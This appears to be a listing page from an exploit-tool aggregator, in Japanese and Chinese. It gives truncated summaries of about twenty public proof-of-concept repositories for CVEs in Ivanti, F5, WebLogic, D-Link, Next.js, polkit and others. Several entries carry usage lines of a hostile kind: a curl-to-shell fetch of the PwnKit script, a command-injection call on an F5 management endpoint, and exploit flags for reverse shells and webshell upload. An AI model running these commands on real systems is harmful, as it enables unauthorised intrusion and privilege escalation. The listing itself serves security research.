pulse-meter

Pulse Meter パルスメーター これは、Ivanti Connect Secure アプライアンスのシステムスナップショットを解析し、CVE-2023-46805、CVE-2024-21887、CVE-2025-0282 に関連する可能性のある IOC を特定するための進行中の作業です。 注意 : 誤検出の可能性があるため、結果を確認するには手動でチェックすることをお勧めします。 スナップショットの復号化に関する注意 スナップショットはハードコードされた鍵で暗号化されています。残念ながらここに鍵を公開することはできないため、自分で探す必要があります。...

CVE-2024-9264

CVE-2024-9264 root@kitploit: python CVE-2024-9264.py '' -u '' -p '' -c ''...

CVE-2022-42889

CVE-2022-42889 テストアプリケーション このリポジトリには、CVE-2022-42889に対して脆弱なApache Commons Text 1.9を使用したシンプルなアプリケーションが含まれています。 アプリケーションの実行 Dockerを使用してアプリケーションをビルドして実行します： root@kitploit: docker build . -t vulnerable-app docker run vulnerable-app root@kitploit: $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS...

cve-2026-23744

CVE-2026-23744 – MCPJam Inspector の未認証リモートコード実行 RCE 説明 製品 : MCPJam Inspector 影響を受けるバージョン : ≤ 1.4.2 修正バージョン : 1.4.3 タイプ : 未認証リモートコード実行 RCE 攻撃ベクトル : ネットワーク 必要な認証 : なし 必要なユーザー操作 : なし CVSS v3.1 : 9.8 Critical CVE-2026-23744 は、MCPJam Inspector ≤ 1.4.2 に影響する重大な未認証リモートコード実行 RCE の脆弱性です。この問題は、Inspector...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 の確認とエクスプロイト インストール: root@kitploit: python3 -m pip install -r requirements.txt 使用方法 単一 : root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 複数 : root@kitploit: pytho...

cve-2024-10914-port

CVE-2024-10914 移植到 Rust 和 Python 因为为什么不呢 这是什么 CVE-2024-10914 是最近发现的一个影响某些 D-Link 路由器的 9.8 分严重漏洞。由于这些路由器已达到生命周期终止 EOL 支持，D-Link 拒绝修补此漏洞，理由就是“别穷了，买个新路由器吧”。 工作原理 受影响的设备暴露了一个 HTTP 端点，通常在 /cgi-bin/accountmgr.cgi?cmd=cgiuseradd&name=...

Invoke-noPac

Invoke-noPac この .Net アセンブリは、オリジナルを改善するためのコード変更を加えた私のフォーク https://github.com/ricardojba/noPac に基づいています。 PowerSharpPack スタイルの .Net アセンブリローダーです。CVE-2021-42287 - CVE-2021-42278 スキャナー & エクスプロイト noPac 用。 使用法: root@kitploit: Set-PSReadlineOption -HistorySaveStyle SaveNothing...

CVE-2023-27997-POC

使用方法: python3 cve-2022-42475.py rhost rport lhost 'command' 例: python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' 免責事項: このプロジェクトは教育および倫理的なテスト目的のみで作成されています。事前の相互同意なしにターゲットを攻撃するためにこのツールを使用することは違法です。開発者は一切の責任を負わず、このツールによって引き起こされた誤用や損害についても責任を負いません。...

polkit-CVE-2021-3560_writeup

Try Hack Me - Polkit:CVE-2021-3560 著者: Atharva Bordavekar 難易度: Info ポイント: 32 脆弱性: CVE-2021-3560 まず、より詳しい情報を得るために、polkit のバージョンを確認します。 root@kitploit: apt list --installed | grep policykit-1 policykit-1/focal,now 0.105-26ubuntu1 amd64 installed,upgradable to: 0.105-26ubuntu1.1 私は、PolicyKit...

CVE-2017-5638

CVE-2017-5638 CVE: 2017-5638 のさまざまな形式 それらのほとんどはURLを入力する必要があり、コマンドを変更したい場合もあるでしょう。 URLとコマンドを入力できるようにできる場合は、プルリクエストを送ってください！ PHP - 例 http://localhost/2017-5638.php?url=TARGET&cmd=command XMLHttpRequest - CVE-2017-5638.js -- ターゲットサーバーで Access-Control-Allow-Origin が設定され、ホストページが許可されている必要があります。...

CVE-2017-10271

weblogicwlswsatrce Weblogic wls-wsat组件反序列化漏洞CVE-2017-10271利用脚本，参考https://github.com/s3xy/CVE-2017-10271修改。 命令执行并回显 直接上传shell 在linux下weblogic 10.3.6.0测试OK 使用方法及参数 python weblogicwlswsatexp.py -t IP:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional...

PwnKit

PwnKit CVE-2021-4034 - Pkexec ローカル権限昇格用の自己完結型エクスプロイト 使用方法 Ubuntu、Debian、Fedora、CentOS ベースの脆弱な Linux ディストリビューションでは、そのまま動作するはずです。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手動実行 root@kitploit: curl -fsSL...

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182 Next.js アプリケーションにおける React サーバーコンポーネントのレンダリングパイプラインでのプロトタイプ汚染を介したリモートコード実行の脆弱性を実証する Proof-of-Concept エクスプロイトです。 ⚠️ 免責事項 このツールは教育および正規のテスト目的のみに使用されます。所有していない、またはテスト許可を得ていないシステムに対して不正に使用することは違法です。 📋 前提条件 Node.js v16 以降 Python 3.6+ netcat リバースシェル用 脆弱な Next.js アプリケーション...

CVE-2024-1212

CVE-2024-1212 - Progress Kemp LoadMaster の未認証コマンドインジェクション これは、Progress Kemp LoadMaster の未認証コマンドインジェクションの脆弱性 である CVE-2024-1212 用のエクスプロイトスクリプトです。 脆弱性の概要 CVE-2024-1212 は Progress Kemp LoadMaster に影響を与え、未認証の攻撃者 が /access/set エンドポイントに巧妙に細工された HTTP リクエストを送信することで、システム上で任意のコマンドを実行できるようにします。 特徴...

CVE-2020-0069_poc

説明 このリポジトリには、Xiaomi Redmi 6a（MediaTek SoC MT6762M搭載）におけるCVE-2020-0069の調査に使用した資料が含まれています。 以下の3つのプログラムが含まれています： kernelrw.c カーネルメモリの読み書きを可能にするCプログラム poc.sh シェルスクリプト syscallhook.c プログラムmtk-suのトレースに使用できるCライブラリ（バージョン19でテスト済み） ビルド バイナリをビルドするには： root@kitploit: $ ndk-build その後、デバイスにプッシュします： root@kitploit:...

CVE-2018-2893

CVE-2018-2893 ステップ 1 java -jar ysoserial-cve-2018-2893.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-2893.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @mbechler JRMPClient3 @mbechl...

React2Shell-CVE-2025-55182

CVE-2025-55182 - React2Shell root@kitploit: | | | / \ / | | / || | | | | | | | | | | | / | | | | \ | || | | | | | | | | | / \ | | | / / | | || || | || \// \| || ||/|| ||||| CVE-2025-55182 React Server Components RSC 向けリモートコード実行スキャナ クレジット 役割| 名前| リンク ---|---|--- オリジナル研究| Lachlan Davidson|...

POC-CVE-2025-55182

POC-CVE-2025-55182 クレジット : https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478 root@kitploit: usage: CVE-2025-55182-Exp.py -h -u URL -l LIST -c COMMAND -i --revshell LHOST LPORT -t THREADS --proxy PROXY --timeout TIMEOUT -v 使用方法 root@kitploit: Single target exploit python3...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE エクスプロイト expr-eval および expr-eval-fork npm パッケージにおける CVE-2025-12735 脆弱性を検出・テストするためのセキュリティ研究ツール。 ⚠️ 免責事項 このツールは許可されたセキュリティテストおよび教育目的のみ に使用してください。コンピュータシステムへの不正アクセスは違法です。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。 📋 概要 CVE-2025-12735 は、expr-eval および expr-eval-fork npm...

CVE-2025-13595

CIBELES AI = 1.10.8 - 未認証任意ファイルアップロード WordPressプラグイン Cibeles AI のバージョン1.10.8以下には、actualizadorgit.php ファイルに未認証のリモートコード実行の脆弱性があります。このファイルはHTTP経由で直接アクセス可能であり、認証や権限チェックがないため、未認証の攻撃者が任意のGitHubリポジトリをダウンロードしてプラグインファイルを上書きし、リモートコード実行が可能になります。 TL;DR エクスプロイト リモート攻撃者が shell.php をアップロードしてリモートコードを実行することを示す...